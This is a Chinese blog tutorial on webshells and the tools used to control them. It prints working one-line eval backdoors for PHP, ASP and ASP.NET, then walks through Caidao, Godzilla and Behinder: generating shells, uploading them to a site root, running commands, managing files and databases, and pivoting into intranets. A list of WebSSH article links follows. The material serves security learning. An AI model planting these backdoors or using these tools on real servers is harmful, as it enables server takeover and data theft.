webshell及工具

article/2025/10/2 16:07:29

目录

一,Webshell的概念

二,eval函数的定义和用法

三,连接工具菜刀

 3.1文件管理

3.2 虚拟终端

3.3 菜刀与burpsuite联动

四,哥斯拉的使用

五,冰蝎

 六,webshell分类

 七,webshell如何连接

 


一,Webshell的概念

       webshell可以理解为是黑客通过各种手段上传到服务器的一段脚本,通过这段脚本执行服务器代码而达到控制服务器的功能。

常见的脚本语言有:

php,asp,asp.net,jsp

例如:

PHP:<?php@eval($_POST['caidao']);?>

<?php@eval( $_POST['caidao'] );?>
//eval是函数,传递的是$_POST里面的参数

ASP:<%eval request("caidao")%>

ASP.NET:<%@Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>

Jspwebshell

二,eval函数的定义和用法

1,eval()函数把字符串按照php代码来计算;

2,该字符串必须是合法的php代码,且必须以分号结尾;

php中的echo的功能是把参数直接输出到页面上:

shell.php中的代码:

<?phpecho $_POST['caidao'];?>

 给参数caidao赋值,然后输出到页面上:

给caidao的值111输出到页面是111

eval函数把字符串按照php代码进行解析,并且该字符串必须是合法的php代码。

eval函数前面加上@符号可以不显示报错。

<?phpeval($_POST['caidao']);?>

eval函数的作用也是解析参数,我们在firefox随意传递一个参数试试:

可以看到没有加@时我们会看到报错信息

 当我们加上@再次运行看看:

一样的数据,但是没有报错

这时候,当我们传递的参数是 合法的php代码,phpinfo(),我们再次运行:

可以看到正确的回显信息,但是一定要记住末尾要以分号结尾,否则会报错

eval函数将客户端传递的字符串传递进来之后在服务器端解析出来,这个过程叫代码执行

从下图可以发现,eval函数可以将传入的参数当做php代码来执行

注意:

当我们输入windows命令时需要用分号括起来,注意是键盘数字1旁边的分号··

三,连接工具菜刀

添加完之后多了一条记录:

 3.1文件管理

 然后鼠标右键点文件管理:

出现了类似于windows的磁盘管理器,在这里直接可以看到网站的根目录

在这里可以发现,我们不光可以看到网站的根目录,还可以看到其他的文件,说明权限设置有问题。

同理,还可以看到当前网站的数据库信息:

3.2 虚拟终端

 比如,当我们通过菜刀开启这个网站的虚拟终端可以查看此网站的权限:

可以看到这里是系统管理员权限,但是正常的情况下在此网站根目录下是不可以看其他的文件的

3.3 菜刀与burpsuite联动

因为菜刀的默认浏览器是IE浏览器,所以我们打开IE浏览器的代理设置:

打开代理之前首先需要打开IE浏览器的Internet Explore模式

然后通过设置打开代理

注意代理的端口要改为8080:

然后我们打开burpsuite的拦截,例如我们在菜刀上的活动:打开虚拟终端执行一条命令,这时在burpsuite上会截取一段数据包:

四,哥斯拉的使用

点击jar文件:

在前面看到的webshell特征过于明显,很容易被查杀,如下图:

使用哥斯拉:

点击管理->生成,可以看到如下页面

 输入自己设置的密码和密钥,这样处理和上面见到的webshell的区别是在即使别人知道了这个webshell但是没有密码也很难利用的。

想生成什么脚本就选择什么加密:

然后点击生成,按照步骤保存:

可以看到生成的webshell:

现在我们将这个webshell放入到网站的根目录下:

用工具访问webshell是空白说明正常:

然后添加webshell测试连接:

显示测试连接成功:

部分功能介绍:

代理主机与代理端口:

例如在进行护网的时候,在做内网渗透时,在内网中拿到一个webshell。这时我们在外面是连不进去的,这时可以通过改变主机和端口进行添加。

然后点击添加,就可以看到和菜刀一样的功能页面:

右键点击进入:

可以看到基础信息:

命令执行窗口可以直接输入windows命令:

文件管理和菜刀大同小异:

数据库管理:

五,冰蝎

点进去:

 

 冰蝎自带webshell:

 比如打开php版本的:

可以看到是比较复杂的webshell,不是一句话webshell

 正常情况我们需要修改默认的md5密码的,可以在cmd5.com中进行修改:

 按要求截取前16位:

 

然后将修改后的webshell传到网站服务器上:

 在冰蝎中右键点击新增shell:

 在添加之前可以先用firefox测试一下这个webshell是否存在:

出现空白即存在

添加shell:

 

 点进去能看见具体信息就说明连接成功了:

 然后就可以依次使用自带的功能了

 六,webshell分类

全功能大马:包含文件管理,命令执行,数据库连接,端口扫描等功能;

一句话小马:主要借助于webshell连接工具进行连接执行诸如文件管理,命令执行,数据库管理等操作

特定功能木马:命令执行,目录扫描

 例:

大马

通过网站来进行文件管理,命令执行等操作

firefox访问:

登陆密码是angel,查看webshell密码可以看到

报错但不用管

 七,webshell如何连接

大马:直接在浏览器访问,大多数输入密码即可

一句话木马:需要借助webshell链接工具进行连接


http://chatgpt.dhexx.cn/article/Zq8HRRC4.shtml

相关文章

web ssh

前言&#xff1a; 好久都没来写博客&#xff0c;最近忙啥去了呢&#xff1f; 一是忙于saltstack的二次开发&#xff0c;二是云计算的学习研究中&#xff0c;所以就一直没写东西&#xff0c;今天给大家介绍个工具。 好了&#xff0c;开始正文&#xff01; 1.首先来说一下为什么要…

Docker 配置WebSSH

1、基于DockerHub Centos镜像 docker pull centos:centos7 2、 Centos镜像存在的一个自身问题&#xff1a;启动后的容器内部无法使用systemctl命令 Failed to get D-Bus connection: Operation not permitted ## docker run -dit eeb6ee3f44bd /bin/bash ## 切勿忘记宿主机防…

什么是Webshell?

一、什么是Webshell&#xff1f; 顾名思义&#xff0c;“web”的含义是显然需要服务器开放web服务&#xff0c;“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的…

Flask框架:运用SocketIO实现WebSSH

Flask 框架中如果想要实现WebSocket功能有许多种方式&#xff0c;运用SocketIO库来实现无疑是最简单的一种方式&#xff0c;Flask中封装了一个flask_socketio库该库可以直接通过pip仓库安装&#xff0c;如下内容将重点简述SocketIO库在Flask框架中是如何被应用的&#xff0c;最…

网页终端直接操作linux系统【webssh】

1、安装pip linux系统默认都安装了python&#xff0c;但不一定安装了pip&#xff0c;所以先安装pip 我的系统中默认安装的是python2.7版本 curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py python get-pip.py 安装成功如图 2、安装webssh pip install w…

离线 安装webssh

1 安装包 和 webssh 代码准备 1 cmake 安装 安装参考文档: 文档地址 下载地址 $ tar xvfz cmake-3.24.2-linux-x86_64.tar.gz 配置环境全局变量 $ vim /etc/profile ​ # 添加 export PATH/root/webterminal/cmake-3.18.0-Linux-x86_64/bin:$PATH ​ $ source /etc/profil…

webshell是什么?

webshell是什么&#xff1f; 百度百科的定义&#xff1a;webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境&#xff0c;也可以将其称做为一种网页后门。黑客在入侵了一个网站后&#xff0c;通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文…

Docker 容器内体验 WebSSH

Docker容器内体验 WebSSH 项目地址: https://pypi.org/project/webssh/ 容器创建 docker run -tid --name centos -p 8888:8888 -p 122:22 centos:7 /bin/bash # 启动容器写个比较呆的shell脚本&#xff0c;方便安装 cat <<EOF > wssh.sh yum -y install epel-re…

golang实现WebSSH的功能

在最近一次需求里&#xff0c;需要实现一个webSSH的功能&#xff0c;就是把terminal搬到web中来。要实现这个功能&#xff0c;可以采用websocketssh来说实现 1.第一步实现websocket websocket主要是ws或wss协议&#xff0c;其原理就是http协议升级成ws协议&#xff0c;即ws是…

纯Java实现一个网页版的Xshell

前言 最近由于项目需求&#xff0c;项目中需要实现一个WebSSH连接终端的功能&#xff0c;由于自己第一次做这类型功能&#xff0c;所以首先上了GitHub找了找有没有现成的轮子可以拿来直接用&#xff0c;当时看到了很多这方面的项目&#xff0c;例如&#xff1a;GateOne、webss…

webssh

vue djangolinux实现webssh 技术栈 xterm.js&#xff1a;做到vue的表现型 websocket&#xff1a; 做vue和django之间的通信 paramiko&#xff1a; 建立SSH连接通道 ssh&#xff1a; 与linux进行连接 threading&#xff1a;多条数据返回前端&#xff0c;io密集型&#xff0c;用…

webSSH如何安装?如何使用?解决Web端远程连接终端~~运维篇

Hi~由于博主公司业务有相当多的Linux终端设备&#xff0c;每次连上设备需要使用到外部工具&#xff0c;如&#xff1a;Xshell&#xff0c;每次都得去输入IP&#xff0c;端口&#xff0c;账号&#xff0c;密码相当的繁琐&#xff1b;偶尔看到阿里云远程连接终端功能挺有意思的&a…

超强功能WebSSH安装,解决Web远程SSH终端

项目地址&#xff1a;https://github.com/huashengdun/webssh 一个简单的 Web 应用程序&#xff0c;用作 ssh 客户端以连接到您的 ssh 服务器。它是用 Python 编写的&#xff0c;基于 tornado、paramiko 和 xterm.js。 特征&#xff1a; 支持SSH密码认证&#xff0c;包括空密…

webssh —— 浏览器上的终端

需求 近期接到一个需求&#xff0c;实现一个运行在浏览器上的终端&#xff0c;用于快速连接到公司设备。 Tip&#xff1a;只求实现的可直接跳到 「最终方案」 处 。 需求有以下几点 1、设备都不在公网状态下 2、webshell 需要免密登陆 3、动态连接的端口、账号、密码 4、可显…

webssh的安装与使用

最近研究了一下在web端实现一个远程连接终端操作的类似网页版xshell的实现。在网上搜索了一下发现已经有类似的操作在这里主要介绍以下两种。 https://github.com/huashengdun/websshhttps://github.com/billchurch/WebSSH2 我用的是虚拟机centos7系统&#xff0c;别的linux系…

简单分析实现运维利器---webssh终端

背景 现在几乎所有东西都向往着自动化,在运维界更是如此,运维人员都向往自动化代替人工操作、解决人工操作大量重复性工作的问题、故障主动恢复:及时发现;流程;解决。运维规范化:角色定义和责任划分、流程化等。但这些种种的目的,都离不开非常细小的技术支持,下面我们…

WebsocketWebSSH

什么是WebSSH? webssh 泛指一种技术可以在网页上实现一个 SSH 终端ssh终端&#xff1a;用来通过ssh协议&#xff0c;连接服务器进行管理运维开发方向&#xff1a;堡垒机登录、线上机器管理&#xff08;因为运维人员不可能24小时携带电脑&#xff09;在线编程&#xff1a;提供…

WebSSH神器sshwifty的安装与使用

本文章最初发表在XJHui’s Blog&#xff0c;未经允许&#xff0c;任何人禁止转载&#xff01; 为使您获得最好的阅读体验&#xff0c;强烈建议您点击 这里 前往 XJHui’s Blog 查看&#xff01; WebSSH工具 初衷 9.9买的一年服务器&#xff0c;不用实属可惜由于是计算机专业…

Sql Server查看表结构

1、表结构 2、通过 t abc 查询出的表结构 3、存储过程 t CREATE proc t TableName nvarchar(200) as SELECT (select top 1 isnull(value,) from sys.extended_properties ex_p where…

sql 查看表结构改动的记录

系统更新迭代比较大的情况&#xff0c;可能改动了比较多的数据库&#xff0c;留个笔记。。 select * from sys.objects order by modify_date desc 这句是查看数据库表的改动&#xff0c;希望对自己有帮助 -20180613